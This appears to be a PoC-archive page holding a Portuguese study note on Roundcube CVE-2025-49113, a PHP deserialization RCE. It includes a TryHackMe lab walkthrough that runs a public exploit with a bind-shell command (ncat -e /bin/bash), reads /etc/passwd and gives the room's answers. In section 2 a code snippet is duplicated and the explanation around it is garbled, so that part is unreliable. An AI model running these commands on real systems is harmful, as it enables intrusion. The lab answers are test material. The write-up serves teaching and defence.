关联漏洞
标题:
Roundcube Webmail 安全漏洞
(CVE-2025-49113)
描述:Roundcube Webmail是Roundcube开源的一款基于浏览器的开源IMAP客户端,它支持地址薄管理、信息搜索、拼写检查等。 Roundcube Webmail 1.5.10之前版本和 1.6.11之前版本存在安全漏洞,该漏洞源于未验证_from参数,可能导致PHP对象反序列化攻击。
描述
Explicação + Lab no THM
介绍
# RCE no Roundcube (CVE-2025-49113) - Minha anotação do Obsidian .md
{{date}} {{time}}
Status: Completed
Lab: Easy
Tags: [[RCE]] | [[PHP]] | [[LAB_THM]] | [[EXPLOIT]] | [[CVE]]
>by KRPT Paulo G. Werneck - Linkedin - [in.com/pgw-script](https://www.linkedin.com/in/pgw-script)
---
> **Impacto**: execução remota de comandos pós-login (CVSS 9.9)
> **Versões afetadas**: ≤ 1.5.10 / 1.6.10
> **Patched**: 1.5.11 e 1.6.11
---
## 1 – Timeline
| Data | Evento |
| ----------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ~2014 | Introdução da rota `program/actions/settings/upload.php` com uso de `session->append()` **sem validação**. |
| 03 jun 2025 | Pesquisadores da @FearsOff publicam o advisory e anunciam PoC. |
| 04 jun 2025 | Roundcube aplica [commit 0376f69](https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d) (1.6-stable) e [commit 7408f31](https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695) (1.5-lts). |
| 06 jun 2025 | PoC publicada no github . ([fearsoff-org/CVE-2025-49113](https://github.com/fearsoff-org/CVE-2025-49113)) |
| 10 jun 2025 | Exploração em massa. |
---
## 2 – Onde estava o problema
### Código vulnerável (1.6.10)
```php
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … mais abaixo
$rcmail->session->append($type . '.files', $id, $attachment);
```
A entrada `_from` chega completa do GET dps vira parte do nome de um nó na sessão e
durante o primeiro `append()`, o Roundcube faz:
```php
// program/actions/settings/upload.php
$from = rcube_utils::get_input_string('_from', rcube_utils::INPUT_GET);
$type = preg_replace('/(add|edit)-/', '', $from);
// … mais abaixo
$rcmail->session->append($type . '.files', $id, $attachment);
```
Se o arquivo existir, o RCE funcionou.
---
## 3 – Mitigações
1. **Atualize** imediatamente para ≥ 1.6.11 ou ≥ 1.5.11.
2. Cao nao consiga atualizar, bloqueie qualquer `_from` contendo `%22`, `%7C`, `!`, `.` ou bytes de controle via WAF, firewall ou rewrite.
3. Desative funções perigosas (`proc_open`, `exec`, etc.) em `php.ini`.
4. Bloqueie uploads no painel de configurações e monitore logs.
---
## 4 - Lab - TryHackme - WriteUp
Free Room: [https://tryhackme.com/room/roundcubecve202549113](https://tryhackme.com/room/roundcubecve202549113)
> Created by tryhackme & strategos
#### 1. Recon
1. Abrir a VM (`MACHINE_IP`) e o AttackBox.
2. Acessar `http://MACHINE_IP/roundcube` com:
`usuário: ellieptic`
`senha: ChangeMe123`
Isso vai funcionar e vai logar normalmente:

---
#### 2. Montar o exploit
Após verificar que está tudo up, vamos executar o exploit, para isso vamos acessar a PoC postada no github informada anteriormente e fazer um gitclone:
```bash
mkdir tmp
cd tmp
git clone https://github.com/fearsoff-org/CVE-2025-49113
cd CVE-2025-49113
```

---
#### 3. Preparar o payload
O uso do payload é simples, basta criar o bind shell e apontar para uma porta com o file `.php` seguindo o usage abaixo:
php CVE-2025-49113.php <`site`> <`user`> <`senha`> "<`bind shell`>"
`php CVE-2025-49113.php http://MACHINE_IP/roundcube ellieptic ChangeMe123 "ncat -lvnp 1337 -e /bin/bash"`
– O script faz login, injeta o objeto PHP malicioso no parâmetro `_from`, conforme falamos anteriormente, chama o endpoint `upload.php` e depois força logout para disparar
`session_decode()` → `unserialize()` → `proc_open()`.
> Às vezes ele mostra erro de CSRF; ignore e siga para o próximo passo,
> porque o comando costuma ter sido executado mesmo assim.

---
#### 4. Conectar na shell
Se a bind shell deu certo, ela ta escutando na porta 1337 que passamos, so fazermos a conexão nela agora:
`nc MACHINE_IP 1337`
Shell obtida.

---
#### 5. Respondendo as questões
### Questões e respostas
1. **Usuário Maggie**
_Pergunta:_ Um dos usuários tem o primeiro nome **Maggie**. Qual é o sobrenome dela?
_Resposta:_ `Byte`
Para resolver essa questão podiamos dar um cat em /etc/passwd grepando o usuário da maggie, ou simplesmente dando um `ls`em `/home`

2. **Flag em /etc**
_Pergunta:_ Qual é o valor do sinalizador salvo em `/etc`?
_Resposta:_ `THM{ICE_CUBE_DESERIALISATION}`
Para resolver isso, dei um `cat /etc/flag*` e por sorte o nome do arquivo era flag e com isso conseguimos capturar.

---
## 5 – Referências
- Commit 1.6.11 – [https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d](https://github.com/roundcube/roundcubemail/commit/0376f69e958a8fef7f6f09e352c541b4e7729c4d)
- Commit 1.5.11 – [https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695](https://github.com/roundcube/roundcubemail/commit/7408f31379666124a39f9cb1018f62bc5e2dc695)
- FearsOff write-up – [https://fearsoff.org/research/roundcube](https://fearsoff.org/research/roundcube)
- OffSec blog – [https://www.offsec.com/blog/cve-2025-49113/](https://www.offsec.com/blog/cve-2025-49113/) [offsec.com](https://www.offsec.com/blog/cve-2025-49113/?utm_source=chatgpt.com)
- TryHackme - [TryHackMe | Roundcube: CVE-2025-49113](https://tryhackme.com/room/roundcubecve202549113)
- GHSA advisory – [https://github.com/advisories/GHSA-8j8w-wwqc-x596](https://github.com/advisories/GHSA-8j8w-wwqc-x596) [github.com](https://github.com/advisories/GHSA-8j8w-wwqc-x596?utm_source=chatgpt.com)
文件快照
[4.0K] /data/pocs/04fb269687867bab254f59fe5d7b37027cc4eade
├── [4.0K] images
│ ├── [ 73] 123
│ ├── [117K] Pastedimage20250616175835.png
│ ├── [ 65K] Pastedimage20250616180500.png
│ ├── [115K] Pastedimage20250616180745.png
│ ├── [8.8K] Pastedimage20250616180844.png
│ ├── [5.6K] Pastedimage20250616181115.png
│ └── [ 11K] Pastedimage20250616181246.png
└── [6.9K] README.md
1 directory, 8 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。